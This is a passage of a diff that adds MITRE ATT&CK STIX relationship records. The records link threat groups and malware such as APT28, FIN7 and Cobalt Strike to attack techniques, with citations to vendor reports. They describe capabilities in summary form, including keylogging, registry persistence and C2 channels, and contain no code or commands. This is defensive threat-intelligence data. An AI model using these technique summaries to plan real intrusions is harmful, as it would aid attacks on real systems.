"https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[BACKSPACE](https://attack.mitre.org/software/S0031) uses HTTP as a transport to communicate with its command server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--5697b245-d888-40ab-af72-9236c6daa273", + "source_ref": "malware--fb261c56-b80e-43a9-8351-c84081e7213d", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "source_name": "FireEye APT30", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", + "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) has used network scanning and enumeration tools, including [Ping](https://attack.mitre.org/software/S0097).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--625ebfc0-7aaa-4eaf-8c49-be8b55c059d4", + "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", + "modified": "2019-04-22T15:08:48.324Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "NCC Group APT15 Alive and Strong", + "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", + "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--2a70812b-f1ef-44db-8578-a496a227aef2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--c775ee2d-b7eb-443a-94e9-bb450e2bcd35", + "source_ref": "intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f", + "modified": "2019-06-28T15:05:33.684Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT33 Sept 2017", + "description": "O'Leary, J., et al. (2017, September 20). Insights into Iranian Cyber Espionage: APT33 Targets Aerospace and Energy Sectors and has Ties to Destructive Malware. Retrieved February 15, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html" + }, + { + "source_name": "FireEye APT33 Webinar Sept 2017", + "description": "Davis, S. and Carr, N. (2017, September 21). APT33: New Insights into Iranian Cyber Espionage Group. Retrieved February 15, 2018.", + "url": "https://www.brighttalk.com/webcast/10703/275683" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--835a79f1-842d-472d-b8f4-d54b545c341b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--e30bb29e-1f1c-4d68-9720-ae99da0c84ee", + "source_ref": "intrusion-set--8a831aaa-f3e0-47a3-bed8-a9ced744dd12", + "modified": "2019-07-16T15:35:21.059Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Lookout Dark Caracal Jan 2018", + "description": "Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.", + "url": "https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[PoisonIvy](https://attack.mitre.org/software/S0012) creates a backdoor through which remote attackers can upload files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--ae7b632b-bb15-4807-be21-bdfff70f4f2e", + "source_ref": "malware--b42378e0-f147-496f-992a-26a49705395b", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Hayashi, K. (2005, August 18). Backdoor.Darkmoon. Retrieved February 23, 2018.", + "source_name": "Symantec Darkmoon Aug 2005", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2005-081910-3934-99" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154)'s \"beacon\" payload can collect information on process details.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--2c417522-9fa6-4f95-b9d6-062c9c2401b5", + "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39", + "modified": "2019-06-06T19:04:39.207Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "cobaltstrike manual", + "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.", + "url": "https://cobaltstrike.com/downloads/csmanual38.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "description": "Following data collection, [FIN6](https://attack.mitre.org/groups/G0037) has compressed log files into a ZIP archive prior to staging and exfiltration.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.072Z", + "id": "relationship--98229d5a-fce3-442e-91cf-7ec7b7994248", + "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb", + "modified": "2019-06-28T14:59:17.639Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye FIN6 April 2016", + "description": "FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has used a tool to capture screenshots.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--2d840d1b-28d7-4387-86fd-6d3df8650171", + "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", + "modified": "2019-03-22T19:57:37.159Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Secureworks BRONZE BUTLER Oct 2017", + "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", + "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) performs local network configuration discovery using ipconfig.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.033Z", + "id": "relationship--6fb6c639-cefa-4c7f-af89-26cb5fcd4030", + "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", + "modified": "2019-04-22T15:08:48.325Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Villeneuve et al 2014", + "description": "Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION \u201cKE3CHANG\u201d: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf" + }, + { + "source_name": "NCC Group APT15 Alive and Strong", + "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", + "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", + "description": "[APT3](https://attack.mitre.org/groups/G0022) has a tool that can detect the existence of remote systems.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--e7714693-e792-44f0-a224-9899df75fced", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "modified": "2019-04-29T18:01:20.338Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Buckeye", + "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.", + "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong" + }, + { + "source_name": "FireEye Clandestine Fox", + "description": "Chen, X., Scott, M., Caselden, D.. (2014, April 26). New Zero-Day Exploit targeting Internet Explorer Versions 9 through 11 Identified in Targeted Attacks. Retrieved January 14, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2014/04/new-zero-day-exploit-targeting-internet-explorer-versions-9-through-11-identified-in-targeted-attacks.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", + "description": "[HTTPBrowser](https://attack.mitre.org/software/S0070)'s installer contains a malicious file named navlu.dll to decrypt and run the RAT. navlu.dll is also the name of a legitimate Symantec DLL.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--654d9e83-9501-4de8-8828-1a1ebf36bc8f", + "source_ref": "malware--e066bf86-9cfb-407a-9d25-26fd5d91e360", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Desai, D.. (2015, August 14). Chinese cyber espionage APT group leveraging recently leaked Hacking Team exploits to target a Financial Services Firm. Retrieved January 26, 2016.", + "source_name": "ZScaler Hacking Team", + "url": "http://research.zscaler.com/2015/08/chinese-cyber-espionage-apt-group.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[Pteranodon](https://attack.mitre.org/software/S0147) can execute commands on the victim.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--16632790-94dc-40ce-9c0a-2f6af0f691b1", + "source_ref": "malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kasza, A. and Reichel, D.. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.", + "source_name": "Palo Alto Gamaredon Feb 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044", + "description": "[HDoor](https://attack.mitre.org/software/S0061) kills anti-virus found on the victim.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--7209b3d7-b8c8-4fc0-89fb-a5448f015540", + "source_ref": "malware--007b44b6-e4c5-480b-b5b9-56f2081b1b7b", + "modified": "2019-04-25T02:33:53.487Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Baumgartner Naikon 2015", + "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967", + "description": "[EvilGrab](https://attack.mitre.org/software/S0152) has the capability to capture audio from a victim machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--5599906d-5be3-420c-9f84-e762d85c2511", + "source_ref": "malware--2f1a9fd0-3b7c-4d77-a358-78db13adbe78", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "description": "[Prikormka](https://attack.mitre.org/software/S0113) contains a keylogger module that collects keystrokes and the titles of foreground windows.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--1879905d-a4f6-43a7-aafe-a7e436e5c559", + "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69", + "modified": "2019-07-26T20:45:14.185Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016.", + "source_name": "ESET Operation Groundbait", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[RTM](https://attack.mitre.org/software/S0148) can download additional files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--c839344c-a96d-412f-bded-5ac7c8fd446a", + "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Faou, M. and Boutin, J.. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.", + "source_name": "ESET RTM Feb 2017", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077", + "description": "[MoonWind](https://attack.mitre.org/software/S0149) obtains the victim's current time.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--77c63e89-71fe-47e3-babb-13e7722932ad", + "source_ref": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, March 30). Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations. Retrieved March 30, 2017.", + "source_name": "Palo Alto MoonWind March 2017", + "url": "http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334", + "description": "An [APT28](https://attack.mitre.org/groups/G0007) loader Trojan adds the Registry key HKCU\\Environment\\UserInitMprLogonScript to establish persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--237d098d-f796-49a0-bdc8-61909cd74feb", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "modified": "2019-09-09T17:44:34.814Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.", + "source_name": "Unit 42 Playbook Dec 2017", + "url": "https://pan-unit42.github.io/playbook_viewer/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[PLAINTEE](https://attack.mitre.org/software/S0254) uses the ipconfig /all command to gather the victim\u2019s IP address.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--5f8e0db4-70d8-49c3-9b57-f6296ec8357f", + "source_ref": "malware--21c0b55b-5ff3-4654-a05e-e3fc1ee1ce1b", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.", + "source_name": "Rancor Unit42 June 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[SHOTPUT](https://attack.mitre.org/software/S0063) has a command to obtain a process listing.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--c8ce3bcd-b74f-497d-8f76-cc8c7333ab49", + "source_ref": "malware--58adaaa8-f1e8-4606-9a08-422e568461eb", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R. and Wartell, R.. (2015, July 27). Observations on CVE-2015-3113, Prior Zero-Days and the Pirpi Payload. Retrieved January 22, 2016.", + "source_name": "Palo Alto CVE-2015-3113 July 2015", + "url": "http://researchcenter.paloaltonetworks.com/2015/07/ups-observations-on-cve-2015-3113-prior-zero-days-and-the-pirpi-payload/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "[FIN10](https://attack.mitre.org/groups/G0051) has executed malicious .bat files containing PowerShell commands.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--4de4a09b-5727-4462-b288-23278e74634e", + "source_ref": "intrusion-set--fbe9387f-34e6-4828-ac28-3080020c597b", + "modified": "2019-04-25T12:09:56.256Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye iSIGHT Intelligence. (2017, June 16). FIN10: Anatomy of a Cyber Extortion Operation. Retrieved June 25, 2017.", + "source_name": "FireEye FIN10 June 2017", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin10.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "description": "[FIN7](https://attack.mitre.org/groups/G0046) lured victims to double-click on images in the attachments they sent which would then execute the hidden LNK file.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--9b9dad4a-c597-4979-9129-7753a7c3b3db", + "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", + "modified": "2019-06-30T23:13:18.357Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.", + "source_name": "FireEye FIN7 April 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "description": "[Pupy](https://attack.mitre.org/software/S0192) uses a keylogger to capture keystrokes it then sends back to the server after it is stopped.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--811d0ef6-047f-4813-801e-33ebf1cae22a", + "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4", + "modified": "2019-04-24T17:52:47.742Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "GitHub Pupy", + "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.", + "url": "https://github.com/n1nj4sec/pupy" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used WMI for execution.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--bd0cff5e-762e-4ba0-ab42-9bfe84e8db4f", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "modified": "2019-09-04T22:55:40.997Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT34 Webinar Dec 2017", + "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.", + "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665", + "description": "[CozyCar](https://attack.mitre.org/software/S0046) uses Twitter as a backup C2 channel to Twitter accounts specified in its configuration file.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--233d1a32-f826-4705-a535-806edee8a5aa", + "source_ref": "malware--e6ef745b-077f-42e1-a37d-29eecff9c754", + "modified": "2019-04-24T23:17:25.096Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.", + "source_name": "F-Secure CozyDuke", + "url": "https://www.f-secure.com/documents/996508/1030745/CozyDuke" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[DustySky](https://attack.mitre.org/software/S0062) collects information about running processes from victims.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--f33725f4-cce5-4868-b494-d73419c76bdf", + "source_ref": "malware--687c23e4-4e25-4ee7-a870-c5e002511f54", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016.", + "source_name": "DustySky", + "url": "https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0", + "description": "[GravityRAT](https://attack.mitre.org/software/S0237) has been delivered via Word documents using DDE for execution.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--c49b5147-f60f-43d7-b119-52b1761002af", + "source_ref": "malware--1d1fce2f-0db5-402b-9843-4278a0694637", + "modified": "2019-04-24T23:21:59.138Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. Retrieved May 16, 2018.", + "source_name": "Talos GravityRAT", + "url": "https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "description": "[FIN7](https://attack.mitre.org/groups/G0046) uses a PowerShell script to launch shellcode that retrieves an additional payload.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--4856de0a-2635-4081-97a8-3f15593c2aa5", + "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", + "modified": "2019-06-30T23:13:18.381Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.", + "source_name": "FireEye FIN7 April 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html" + }, + { + "source_name": "Morphisec FIN7 June 2017", + "description": "Gorelik, M.. (2017, June 9). FIN7 Takes Another Bite at the Restaurant Industry. Retrieved July 13, 2017.", + "url": "http://blog.morphisec.com/fin7-attacks-restaurant-industry" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0", + "description": "An [APT3](https://attack.mitre.org/groups/G0022) downloader establishes SOCKS5 connections to two separate IP addresses over TCP port 1913 and TCP port 81.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.056Z", + "id": "relationship--e7379230-882e-4b5c-bee1-629e9028e97f", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "modified": "2019-04-29T18:01:20.345Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye Operation Double Tap", + "description": "Moran, N., et al. (2014, November 21). Operation Double Tap. Retrieved January 14, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2014/11/operation_doubletap.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "description": "[Nidiran](https://attack.mitre.org/software/S0118) uses RC4 to encrypt C2 traffic.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--7b5919ce-efab-45d1-855b-f827d7489b2b", + "source_ref": "malware--9e9b9415-a7df-406b-b14d-92bfe6809fbe", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "DiMaggio, J.. (2016, May 17). Indian organizations targeted in Suckfly attacks. Retrieved August 3, 2016.", + "source_name": "Symantec 